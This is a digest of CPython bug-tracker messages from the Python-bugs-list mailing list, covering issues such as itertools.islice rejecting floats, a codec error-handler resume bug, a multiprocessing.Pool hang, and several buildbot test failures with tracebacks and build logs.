nosy: +ammar2

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38789] difflib lacks a way to check if results are empty

[Tim Peters]

Tim Peters  added the comment:

Please be explicit:  exactly which functions are you talking about, and exactly 
what do you want them to do instead.  Since, best I can tell, this is the first 
complaint of its kind, it's a pretty safe bet people can't guess what you want 
;-)

Note that, e.g., Differ(...).compare(...) returns a generator-iterator.  There 
is no general way in Python to know whether a generator will yield a non-empty 
sequence of results without running the generator.  This is common to all 
generators, not unique to those difflib returns.

So, of course, the same kinds of idioms can be used as for any other generator. 
 For example:

foundone = False
for line in difflib.Differ(...).compare(...):
if not foundone:
# there is at least one result, and this is the first
# maybe print a header line here, or whatever
foundone = True
process(line)
if not foundone:
# the generator produced nothing

Simpler to code is to force the results into a list instead, but then you lose 
the possible memory-saving advantages of iterating over a generator:

result = list(difflib.Differ(...).compare(...))
if result:
# there are results to deal with
else:
# the generator produced nothing

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38801] Scientific notation doesn't work with itertools.islice

[Yaroslav Nikitenko]

Yaroslav Nikitenko  added the comment:

Hello Raymond. Many thanks for your explanation.

In this case I suggest any of the following:

1) distinguish between integer and floating numbers in scientific notation. 
Definitely, 1e+6 is an integer. I can't see where else numbers in scientific 
notation are defined as only floats.

2) to write explicitly in the documentation that scientific notation is always 
float. I searched documentation of 'scientific notation', but didn't found that 
(https://docs.python.org/3/search.html?q=scientific+notation&check_keywords=yes&area=default)

3) to provide a better exception message in islice if this is a known issue. 

Should I change parameters of my report or create a new one? I'm afraid this 
message may get lost if closed.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38622] _ctypes.dlsym (py_dl_sym) does not trigger audit hooks

[Steve Dower]

Steve Dower  added the comment:

Actually, it looks like we need to add events for many of the _ctypes 
functions, so I'll go through and do them.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38622] _ctypes.dlsym (py_dl_sym) does not trigger audit hooks

[Steve Dower]

Steve Dower  added the comment:

Thanks! Would you like to create a PR on GitHub for this? Or are you happy for 
me to do it.

--
nosy: +steve.dower

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue22367] Add open_file_descriptor parameter to fcntl.lockf() (use the new F_OFD_SETLK flag)

[Charles-François Natali]

Change by Charles-François Natali :


--
nosy:  -neologix

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38800] Resume position for UTF-8 codec error handler not working

[Serhiy Storchaka]

Serhiy Storchaka  added the comment:

It works to me (after fixing the assertion).

What Python version do you use? In Python 2 u'\uDD00' is encodable to UTF-8, so 
the error handler is not called. u'\uDD00yz'.encode('utf8') gives 
'\xed\xb4\x80yz'.

--
nosy: +serhiy.storchaka

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38801] Scientific notation doesn't work with itertools.islice

[Raymond Hettinger]

Raymond Hettinger  added the comment:

Hello Yaroslav.  What you've observed was a intentional change to make islice() 
behave more like regular slices.  Neither of those accept floats which are 
precarious to use for indexing.

A workaround is to replace 1e+6 with 10**6.

--
nosy: +rhettinger
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38801] Scientific notation doesn't work with itertools.islice

[Yaroslav Nikitenko]

New submission from Yaroslav Nikitenko :

Numbers written in scientific notation don't work with itertools.islice.

Check this script: 

# a usual function works
## def works as well
f = lambda x : x 
f(1e+6)
# 100.0
import itertools
# islice without scientific notation works
itertools.islice([], 100)
# 
itertools.islice([], 1e+6)
# Traceback (most recent call last):
#   File "", line 1, in 
# ValueError: Stop argument for islice() must be None or an integer: 0 <= x <= 
sys.maxsize.

All this works well in Python 2.7.17, but scientific notation fails in Python 
3.7.5. I use Fedora Core 29.

--
components: Library (Lib)
messages: 356618
nosy: ynikitenko
priority: normal
severity: normal
status: open
title: Scientific notation doesn't work with itertools.islice
type: behavior
versions: Python 3.7

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38793] pathlib.Path.resolve(strict=False) strips final path components

[Brett Cannon]

Change by Brett Cannon :


--
nosy: +brett.cannon

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue33125] Windows 10 ARM64 platform support

[Steve Dower]

Steve Dower  added the comment:

I just added a PR that will produce ARM64 releases (as embeddable, nuget and 
Microsoft Store packages).

The only missing feature is tkinter (and everything that depends on it). For 
users who require that, I'd suggest grabbing the x86 installer from python.org 
which works fine (apart from some minor arithmetic and process management bugs 
in the Windows emulation layer).

This is not saying we're going to release it just yet. Really it shouldn't be 
released until 3.9, as it's a new platform and we need to allow the 3rd party 
package ecosystem to catch up, but at least having the ability to build 
packages easily will enable those who are already trying to do it themselves.

Allegedly there's a lot of demand for Python on ARM64, but I haven't actually 
seen it other than this bug. And if that demand immediately extends to numpy or 
pywin32 on ARM64 then we're still a very long way from actually satisfying it.

I'll likely tweak the PR a bit more to prevent releasing ARM64 packages by 
default, but then I don't see any issue having it in the 3.8 and master 
branches for those who would be helped. Any thoughts/comments?

--
assignee:  -> steve.dower
versions: +Python 3.9

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue33125] Windows 10 ARM64 platform support

[Steve Dower]

Change by Steve Dower :


--
keywords: +patch
pull_requests: +16665
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/16828

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38793] pathlib.Path.resolve(strict=False) strips final path components

[Steve Dower]

Steve Dower  added the comment:

If "a" exists in the current directory, I get this (correct) result:

>>> import pathlib
>>> p = pathlib.Path(".", "a", "b", "c")
>>> p.resolve(strict=False)
WindowsPath('/a/b/c')

So there's an existence check of some kind that's not being handled properly.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38793] pathlib.Path.resolve(strict=False) strips final path components

[Steve Dower]

Steve Dower  added the comment:

I'm not sure - I try the same thing (on 3.6, 3.7 and 3.8) and get different 
results:

>>> import pathlib
>>> p = pathlib.Path(".", "a", "b", "c")
>>> p.resolve(strict=False)
WindowsPath('a/b/c')

Are you sure that it's not successfully resolving a link of some kind?

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue22367] Add open_file_descriptor parameter to fcntl.lockf() (use the new F_OFD_SETLK flag)

[Dong-hee Na]

Dong-hee Na  added the comment:

@vstinner

Victor, Thanks for letting me know.
It was reproduced on my mac machine so I fix the test.
Please take a look.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue22367] Add open_file_descriptor parameter to fcntl.lockf() (use the new F_OFD_SETLK flag)

[Dong-hee Na]

Change by Dong-hee Na :


--
pull_requests: +16664
pull_request: https://github.com/python/cpython/pull/17154

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38797] x86-64 High Sierra 3.x buildbot worker fails to build Python: python.exe setup.py does crash with a bus error

[Zachary Ware]

Zachary Ware  added the comment:

Note that subsequent builds compiled successfully, see 
https://buildbot.python.org/all/#/builders/145/builds/2699 for the latest.  It 
has been failing a test since build 2695, though.

--
nosy: +zach.ware

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38722] runpy should use io.open_code() instead of open()

[Jason Killen]

Jason Killen  added the comment:

I made the change but the test suite is giving me fits and I don't know why.  

Running: ./python -m test
...
== Tests result: FAILURE ==

392 tests OK.

1 test failed:
test_tools

26 tests skipped:
test_curses test_dbm_gnu test_dbm_ndbm test_devpoll test_idle
test_kqueue test_msilib test_ossaudiodev test_readline
test_smtpnet test_socketserver test_startfile test_tcl
test_timeout test_tix test_tk test_ttk_guionly test_ttk_textonly
test_turtle test_urllib2net test_urllibnet test_winconsoleio
test_winreg test_winsound test_xmlrpc_net test_zipfile64

Total duration: 17 min 38 sec
Tests result: FAILURE


But running: ./python -m test -v test_tools
...
Ran 223 tests in 2.503s

OK (skipped=2, expected failures=14)

== Tests result: SUCCESS ==

1 test OK.

Total duration: 2.6 sec
Tests result: SUCCESS


Any tips for a newbe?

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38800] Resume position for UTF-8 codec error handler not working

[Pedro Gimeno]

Pedro Gimeno  added the comment:

I forgot the quotes in the assertion, it should have been "b'xz'".

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38800] Resume position for UTF-8 codec error handler not working

[Pedro Gimeno]

New submission from Pedro Gimeno :

When implementing an error handler, it must return a tuple consisting of a 
substitution string and a position where to resume decoding. In the case of the 
UTF-8 codec, the resume position is ignored, and it always resumes immediately 
after the character that caused the error.

To reproduce, use this code:

import codecs
codecs.register_error('err', lambda err: (b'x', err.end + 1))
assert repr(u'\uDD00yz'.encode('utf8', errors='err')) == b'xz'

The above code fails the assertion because the result is b'xyz'.

It works OK for some other codecs. I have not tried to make an exhaustive list 
of which ones work and which ones don't, therefore this problem might apply to 
others.

--
messages: 356610
nosy: pgimeno
priority: normal
severity: normal
status: open
title: Resume position for UTF-8 codec error handler not working
type: behavior

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38799] race condition in multiprocessing.Pool with maxtasksperchild=1

[Steve Lorimer]

New submission from Steve Lorimer :

There is a race condition when closing/joining a pool with maxtasksperchild=1

Illustrative example:

```
#!/usr/bin/env python3
import os
import time
import logging
import multiprocessing.pool

def run_task(i):
print(f'[{os.getpid()}] task({i}) complete')

if __name__ == '__main__':
multiprocessing.log_to_stderr(logging.DEBUG)

tasks = iter(range(10))
processes = 4

pool = multiprocessing.pool.Pool(processes=processes, maxtasksperchild=1)
running = []
while True:
try:
running = [ f for f in running if not f.ready() ]
avail = processes - len(running)
if avail:
for _ in range(avail):
i = next(tasks)
print(f'[{os.getpid()}] add task({i})')
future = pool.apply_async(run_task, ( i, ))
running.append(future)
else:
time.sleep(0.1)
except StopIteration:
print(f'[{os.getpid()}] all tasks scheduled')
break

print(f'[{os.getpid()}] close and join pool')
pool.close()
pool.join()
print(f'[{os.getpid()}] all done')
```


Example output:


```
[DEBUG/MainProcess] created semlock with handle 140042193375232
[DEBUG/MainProcess] created semlock with handle 140042193371136
[DEBUG/MainProcess] created semlock with handle 140042193367040
[DEBUG/MainProcess] created semlock with handle 140042193362944
[DEBUG/MainProcess] added worker
[INFO/ForkPoolWorker-1] child process calling self.run()
[DEBUG/MainProcess] added worker
[INFO/ForkPoolWorker-2] child process calling self.run()
[DEBUG/MainProcess] added worker
[INFO/ForkPoolWorker-3] child process calling self.run()
[DEBUG/MainProcess] added worker
[INFO/ForkPoolWorker-4] child process calling self.run()
[7150] add task(0)
[7150] add task(1)
[7150] add task(2)
[7150] add task(3)
[7151] task(0) complete
[7152] task(1) complete
[7153] task(2) complete
[7154] task(3) complete
[DEBUG/ForkPoolWorker-1] worker exiting after 1 tasks
[INFO/ForkPoolWorker-1] process shutting down
[DEBUG/ForkPoolWorker-2] worker exiting after 1 tasks
[DEBUG/ForkPoolWorker-1] running all "atexit" finalizers with priority >= 0
[DEBUG/ForkPoolWorker-3] worker exiting after 1 tasks
[INFO/ForkPoolWorker-2] process shutting down

[DEBUG/MainProcess] cleaning up worker 2
[DEBUG/MainProcess] cleaning up worker 1
[7150] add task(8)
[7150] add task(9)
[DEBUG/MainProcess] cleaning up worker 0
[7150] all tasks scheduled
[DEBUG/MainProcess] added worker
[7150] close and join pool
[DEBUG/MainProcess] closing pool
[DEBUG/MainProcess] joining pool
[INFO/ForkPoolWorker-9] child process calling self.run()
[DEBUG/MainProcess] added worker
[INFO/ForkPoolWorker-10] child process calling self.run()
[DEBUG/MainProcess] added worker
[7164] task(9) complete
[DEBUG/ForkPoolWorker-10] worker exiting after 1 tasks
[INFO/ForkPoolWorker-10] process shutting down
[DEBUG/ForkPoolWorker-10] running all "atexit" finalizers with priority >= 0
[DEBUG/ForkPoolWorker-10] running the remaining "atexit" finalizers
[INFO/ForkPoolWorker-10] process exiting with exitcode 0
[INFO/ForkPoolWorker-11] child process calling self.run()
[DEBUG/MainProcess] cleaning up worker 2
[DEBUG/MainProcess] added worker
[INFO/ForkPoolWorker-12] child process calling self.run()
```


The process hangs forever.

Interrupting the process then produces the following output:


```
^CTraceback (most recent call last):
[INFO/ForkPoolWorker-11] process shutting down
  File "./test.py", line 36, in 
[INFO/ForkPoolWorker-12] process shutting down
[DEBUG/ForkPoolWorker-11] running all "atexit" finalizers with priority >= 0
[DEBUG/ForkPoolWorker-12] running all "atexit" finalizers with priority >= 0
[DEBUG/ForkPoolWorker-11] running the remaining "atexit" finalizers
Process ForkPoolWorker-11:
[DEBUG/ForkPoolWorker-12] running the remaining "atexit" finalizers
Process ForkPoolWorker-12:
pool.join()
  File "/usr/lib/python3.6/multiprocessing/pool.py", line 546, in join
self._worker_handler.join()
  File "/usr/lib/python3.6/threading.py", line 1056, in join
self._wait_for_tstate_lock()
  File "/usr/lib/python3.6/threading.py", line 1072, in _wait_for_tstate_lock
Traceback (most recent call last):
  File "/usr/lib/python3.6/multiprocessing/process.py", line 258, in _bootstrap
self.run()
  File "/usr/lib/python3.6/multiprocessing/process.py", line 93, in run
self._target(*self._args, **self._kwargs)
  File "/usr/lib/python3.6/multiprocessing/pool.py", line 108, in worker
task = get()
  File "/usr/lib/python3.6/multiprocessing/queues.py", line 334, in get
with self._rlock:
  File "/usr/lib/python3.6/multiprocessing/synchronize.py", line 95, in 
__enter__
return self._semlock.__enter__()
KeyboardInterrupt
[INFO/ForkPoolWorker-12] process exiting with exitcode 1
elif lock.acquire(block, timeout):
KeyboardInterrupt
Traceback (most recent call last):
  File "/usr/lib/pyth

[issue38798] test_asyncio.test_sendfile.test_sendfile_ssl_pre_and_post_data(): Overlapped still has pending operation at deallocation error on AMD64 Windows8.1 Non-Debug 3.x

[STINNER Victor]

New submission from STINNER Victor :

AMD64 Windows8.1 Non-Debug 3.x:
https://buildbot.python.org/all/#/builders/12/builds/3450

test_sendfile_ssl_pre_and_post_data 
(test.test_asyncio.test_sendfile.ProactorEventLoopTests) ...

Warning -- Unraisable exception
Traceback (most recent call last):
  File 
"D:\buildarea\3.x.ware-win81-release.nondebug\build\lib\asyncio\windows_events.py",
 line 430, in select
self._poll(timeout)
RuntimeError: <_overlapped.Overlapped object at 0x00106FDD7AE0> still has 
pending operation at deallocation, the process may crash

Error on reading from the event loop self pipe
loop: 
Traceback (most recent call last):
  File 
"D:\buildarea\3.x.ware-win81-release.nondebug\build\lib\asyncio\windows_events.py",
 line 453, in finish_recv
return ov.getresult()
OSError: [WinError 995] The I/O operation has been aborted because of either a 
thread exit or an application request

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File 
"D:\buildarea\3.x.ware-win81-release.nondebug\build\lib\asyncio\proactor_events.py",
 line 768, in _loop_self_reading
f.result()  # may raise
  File 
"D:\buildarea\3.x.ware-win81-release.nondebug\build\lib\asyncio\windows_events.py",
 line 808, in _poll
value = callback(transferred, key, ov)
  File 
"D:\buildarea\3.x.ware-win81-release.nondebug\build\lib\asyncio\windows_events.py",
 line 457, in finish_recv
raise ConnectionResetError(*exc.args)
ConnectionResetError: [WinError 995] The I/O operation has been aborted because 
of either a thread exit or an application request

ok

--
components: Tests, Windows, asyncio
messages: 356608
nosy: asvetlov, paul.moore, steve.dower, tim.golden, vstinner, yselivanov, 
zach.ware
priority: normal
severity: normal
status: open
title: test_asyncio.test_sendfile.test_sendfile_ssl_pre_and_post_data(): 
Overlapped still has pending operation at deallocation error on AMD64 
Windows8.1 Non-Debug 3.x
versions: Python 3.9

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue22367] Add open_file_descriptor parameter to fcntl.lockf() (use the new F_OFD_SETLK flag)

[STINNER Victor]

STINNER Victor  added the comment:

Failure on x86-64 High Sierra 3.8:
https://buildbot.python.org/all/#/builders/226/builds/519

Please fix tests, or revert your change:
https://pythondev.readthedocs.io/ci.html#revert-on-fail

==
ERROR: test_lockf_exclusive (test.test_fcntl.TestFcntl)
--
Traceback (most recent call last):
  File 
"/Users/buildbot/buildarea/3.8.billenstein-sierra/build/Lib/test/test_fcntl.py",
 line 149, in test_lockf_exclusive
p.start()
  File 
"/Users/buildbot/buildarea/3.8.billenstein-sierra/build/Lib/multiprocessing/process.py",
 line 121, in start
self._popen = self._Popen(self)
  File 
"/Users/buildbot/buildarea/3.8.billenstein-sierra/build/Lib/multiprocessing/context.py",
 line 224, in _Popen
return _default_context.get_context().Process._Popen(process_obj)
  File 
"/Users/buildbot/buildarea/3.8.billenstein-sierra/build/Lib/multiprocessing/context.py",
 line 283, in _Popen
return Popen(process_obj)
  File 
"/Users/buildbot/buildarea/3.8.billenstein-sierra/build/Lib/multiprocessing/popen_spawn_posix.py",
 line 32, in __init__
super().__init__(process_obj)
  File 
"/Users/buildbot/buildarea/3.8.billenstein-sierra/build/Lib/multiprocessing/popen_fork.py",
 line 19, in __init__
self._launch(process_obj)
  File 
"/Users/buildbot/buildarea/3.8.billenstein-sierra/build/Lib/multiprocessing/popen_spawn_posix.py",
 line 47, in _launch
reduction.dump(process_obj, fp)
  File 
"/Users/buildbot/buildarea/3.8.billenstein-sierra/build/Lib/multiprocessing/reduction.py",
 line 60, in dump
ForkingPickler(file, protocol).dump(obj)
AttributeError: Can't pickle local object 
'TestFcntl.test_lockf_exclusive..try_lockf_on_other_process'

==
ERROR: test_lockf_share (test.test_fcntl.TestFcntl)
--
Traceback (most recent call last):
  File 
"/Users/buildbot/buildarea/3.8.billenstein-sierra/build/Lib/test/test_fcntl.py",
 line 163, in test_lockf_share
p.start()
  File 
"/Users/buildbot/buildarea/3.8.billenstein-sierra/build/Lib/multiprocessing/process.py",
 line 121, in start
self._popen = self._Popen(self)
  File 
"/Users/buildbot/buildarea/3.8.billenstein-sierra/build/Lib/multiprocessing/context.py",
 line 224, in _Popen
return _default_context.get_context().Process._Popen(process_obj)
  File 
"/Users/buildbot/buildarea/3.8.billenstein-sierra/build/Lib/multiprocessing/context.py",
 line 283, in _Popen
return Popen(process_obj)
  File 
"/Users/buildbot/buildarea/3.8.billenstein-sierra/build/Lib/multiprocessing/popen_spawn_posix.py",
 line 32, in __init__
super().__init__(process_obj)
  File 
"/Users/buildbot/buildarea/3.8.billenstein-sierra/build/Lib/multiprocessing/popen_fork.py",
 line 19, in __init__
self._launch(process_obj)
  File 
"/Users/buildbot/buildarea/3.8.billenstein-sierra/build/Lib/multiprocessing/popen_spawn_posix.py",
 line 47, in _launch
reduction.dump(process_obj, fp)
  File 
"/Users/buildbot/buildarea/3.8.billenstein-sierra/build/Lib/multiprocessing/reduction.py",
 line 60, in dump
ForkingPickler(file, protocol).dump(obj)
AttributeError: Can't pickle local object 
'TestFcntl.test_lockf_share..try_lockf_on_other_process'

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue27465] IDLE:Make help source menu entries unique and sorted.

[Tal Einat]

Change by Tal Einat :


--
versions: +Python 3.7, Python 3.8, Python 3.9 -Python 3.6

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue27465] IDLE:Make help source menu entries unique and sorted.

[Tal Einat]

Tal Einat  added the comment:

> I'm wondering if it would be worthwhile to add Drag and Drop functionality to 
> the Help listbox to allow users to move the items into any order they want?

I agree that allowing a user to set the order is preferable.

Rather than drag&drop, we could just add up/down buttons to allow re-ordering.

I suggest making ordering a separate issue, and accepting a simplified version 
of the PR which just ensures the names are unique.

--
nosy: +taleinat

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38797] x86-64 High Sierra 3.x buildbot worker fails to build Python: python.exe setup.py does crash with a bus error

[STINNER Victor]

New submission from STINNER Victor :

Build 2680 was green, then the buildbot worker became offline, and build fails 
since build 2694 (when the worker came back).

x86-64 High Sierra 3.x:
https://buildbot.python.org/all/#/builders/145/builds/2694

...
gcc -c -Wno-unused-result -Wsign-compare -g -O0 -Wall -Qunused-arguments  
-Qunused-arguments   -std=c99 -Wextra -Wno-unused-result -Wno-unused-parameter 
-Wno-missing-field-initializers -Wstrict-prototypes 
-Werror=implicit-function-declaration -fvisibility=hidden  -I./Include/internal 
 -I. -I./Include -I/usr/local/include -I/opt/X11/include 
-I/usr/local/opt/bison/include -I/usr/local/opt/bzip2/include 
-I/usr/local/opt/expat/include -I/usr/local/opt/icu4c/include 
-I/usr/local/opt/libffi/include -I/usr/local/opt/ncurses/include 
-I/usr/local/opt/openssl/include -I/usr/local/opt/readline/include 
-I/usr/local/opt/sqlite/include -I/usr/local/opt/zlib/include  
-I/usr/local/include -I/opt/X11/include -I/usr/local/opt/bison/include 
-I/usr/local/opt/bzip2/include -I/usr/local/opt/expat/include 
-I/usr/local/opt/icu4c/include -I/usr/local/opt/libffi/include 
-I/usr/local/opt/ncurses/include -I/usr/local/opt/openssl/include 
-I/usr/local/opt/readline/include -I/usr/local/opt/sqlite/include -I/usr/lo
 cal/opt/zlib/include  -DPy_BUILD_CORE -o Python/frozen.o Python/frozen.c
rm -f libpython3.9d.a
ar rcs libpython3.9d.a Modules/getbuildinfo.o Parser/acceler.o 
Parser/grammar1.o Parser/listnode.o Parser/node.o Parser/parser.o 
Parser/token.o  Parser/myreadline.o Parser/parsetok.o Parser/tokenizer.o 
Objects/abstract.o Objects/accu.o Objects/boolobject.o Objects/bytes_methods.o 
Objects/bytearrayobject.o Objects/bytesobject.o Objects/call.o 
Objects/capsule.o Objects/cellobject.o Objects/classobject.o 
Objects/codeobject.o Objects/complexobject.o Objects/descrobject.o 
Objects/enumobject.o Objects/exceptions.o Objects/genobject.o 
Objects/fileobject.o Objects/floatobject.o Objects/frameobject.o 
Objects/funcobject.o Objects/interpreteridobject.o Objects/iterobject.o 
Objects/listobject.o Objects/longobject.o Objects/dictobject.o 
Objects/odictobject.o Objects/memoryobject.o Objects/methodobject.o 
Objects/moduleobject.o Objects/namespaceobject.o Objects/object.o 
Objects/obmalloc.o Objects/picklebufobject.o Objects/rangeobject.o 
Objects/setobject.o Objects/sliceobject.o Objects/structseq.o O
 bjects/tupleobject.o Objects/typeobject.o Objects/unicodeobject.o 
Objects/unicodectype.o Objects/weakrefobject.o Python/_warnings.o 
Python/Python-ast.o Python/asdl.o Python/ast.o Python/ast_opt.o 
Python/ast_unparse.o Python/bltinmodule.o Python/ceval.o Python/codecs.o 
Python/compile.o Python/context.o Python/dynamic_annotations.o Python/errors.o 
Python/frozenmain.o Python/future.o Python/getargs.o Python/getcompiler.o 
Python/getcopyright.o Python/getplatform.o Python/getversion.o 
Python/graminit.o Python/hamt.o Python/import.o Python/importdl.o 
Python/initconfig.o Python/marshal.o Python/modsupport.o Python/mysnprintf.o 
Python/mystrtoul.o Python/pathconfig.o Python/peephole.o Python/preconfig.o 
Python/pyarena.o Python/pyctype.o Python/pyfpe.o Python/pyhash.o 
Python/pylifecycle.o Python/pymath.o Python/pystate.o Python/pythonrun.o 
Python/pytime.o Python/bootstrap_hash.o Python/structmember.o Python/symtable.o 
Python/sysmodule.o Python/thread.o Python/traceback.o Python/getopt.o Pytho
 n/pystrcmp.o Python/pystrtod.o Python/pystrhex.o Pyth
on/dtoa.o Python/formatter_unicode.o Python/fileutils.o Python/dynload_shlib.o  
  Modules/config.o Modules/getpath.o Modules/main.o Modules/gcmodule.o 
Modules/posixmodule.o  Modules/errnomodule.o  Modules/pwdmodule.o  
Modules/_sre.o  Modules/_codecsmodule.o  Modules/_weakref.o  
Modules/_functoolsmodule.o  Modules/_operator.o  Modules/_collectionsmodule.o  
Modules/_abc.o  Modules/itertoolsmodule.o  Modules/atexitmodule.o  
Modules/signalmodule.o  Modules/_stat.o  Modules/timemodule.o  
Modules/_threadmodule.o  Modules/_localemodule.o  Modules/_iomodule.o 
Modules/iobase.o Modules/fileio.o Modules/bytesio.o Modules/bufferedio.o 
Modules/textio.o Modules/stringio.o  Modules/faulthandler.o  
Modules/_tracemalloc.o Modules/hashtable.o  Modules/symtablemodule.o  
Modules/xxsubtype.o Python/frozen.o
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/ranlib:
 file: libpython3.9d.a(dynamic_annotations.o) has no symbols
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/ranlib:
 file: libpython3.9d.a(pymath.o) has no symbols
gcc -L/usr/local/lib -L/opt/X11/lib -L/usr/local/opt/bison/lib 
-L/usr/local/opt/bzip2/lib -L/usr/local/opt/expat/lib 
-L/usr/local/opt/icu4c/lib -L/usr/local/opt/libffi/lib 
-L/usr/local/opt/ncurses/lib -L/usr/local/opt/openssl/lib 
-L/usr/local/opt/readline/lib -L/usr/local/opt/sqlite/lib 
-L/usr/local/opt/zlib/lib  -L/usr/local/lib -L/opt/X11/lib 
-L/usr/local/opt/bison/lib -L/usr/local/opt/bzip2/lib 
-L/usr/local/opt/expat/lib -L/usr/local

[issue38796] test_multiprocessing_forkserver: test_mymanager_context() failed on AMD64 FreeBSD Non-Debug 3.x

[STINNER Victor]

STINNER Victor  added the comment:

Build warnings:

Warning -- Dangling processes: {, }
Warning -- Dangling processes: {, }
FAIL: test_mymanager_context 
(test.test_multiprocessing_forkserver.WithManagerTestMyManager)
0:19:02 load avg: 1.07 Re-running failed tests in verbose mode
0:19:02 load avg: 1.07 Re-running test_multiprocessing_forkserver in verbose 
mode

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38796] test_multiprocessing_forkserver: test_mymanager_context() failed on AMD64 FreeBSD Non-Debug 3.x

[STINNER Victor]

New submission from STINNER Victor :

It looks like a race condition in the test. If I recall correctly, there is an 
hardcoded timeout somewhere (1 second?).

https://buildbot.python.org/all/#/builders/368/builds/72

==
FAIL: test_mymanager_context 
(test.test_multiprocessing_forkserver.WithManagerTestMyManager)
--
Traceback (most recent call last):
  File 
"/usr/home/buildbot/python/3.x.koobs-freebsd-9e36.nondebug/build/Lib/test/_test_multiprocessing.py",
 line 2807, in test_mymanager_context
self.assertIn(manager._process.exitcode, (0, -signal.SIGTERM))
AssertionError: None not found in (0, -15)

--
components: Tests
messages: 356603
nosy: vstinner
priority: normal
severity: normal
status: open
title: test_multiprocessing_forkserver: test_mymanager_context() failed on 
AMD64 FreeBSD Non-Debug 3.x
versions: Python 3.9

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38795] test_asyncio.test_subprocess.test_terminate() timed out on AMD64 RHEL8 LTO + PGO 3.x

[STINNER Victor]

New submission from STINNER Victor :

test_asyncio.test_subprocess.test_terminate() timed out on AMD64 RHEL8 LTO + 
PGO 3.x, and then test_asyncio.test_subprocess.test_kill() timed out on the 
same worker.

AMD64 RHEL8 LTO + PGO 3.x:
https://buildbot.python.org/all/#/builders/284/builds/232

0:14:52 load avg: 0.00 running: test_asyncio (14 min 30 sec)
0:15:22 load avg: 0.00 running: test_asyncio (15 min)
0:15:22 load avg: 0.00 [419/419/2] test_asyncio crashed (Exit code 1)
Timeout (0:15:00)!
Thread 0x7f3e8b8d9740 (most recent call first):
  File 
"/home/buildbot/buildarea/3.x.cstratak-RHEL8-x86_64.lto-pgo/build/Lib/selectors.py",
 line 468 in select
  File 
"/home/buildbot/buildarea/3.x.cstratak-RHEL8-x86_64.lto-pgo/build/Lib/asyncio/base_events.py",
 line 1837 in _run_once
  File 
"/home/buildbot/buildarea/3.x.cstratak-RHEL8-x86_64.lto-pgo/build/Lib/asyncio/base_events.py",
 line 589 in run_forever
  File 
"/home/buildbot/buildarea/3.x.cstratak-RHEL8-x86_64.lto-pgo/build/Lib/asyncio/base_events.py",
 line 621 in run_until_complete
  File 
"/home/buildbot/buildarea/3.x.cstratak-RHEL8-x86_64.lto-pgo/build/Lib/test/test_asyncio/test_subprocess.py",
 line 188 in test_terminate
...
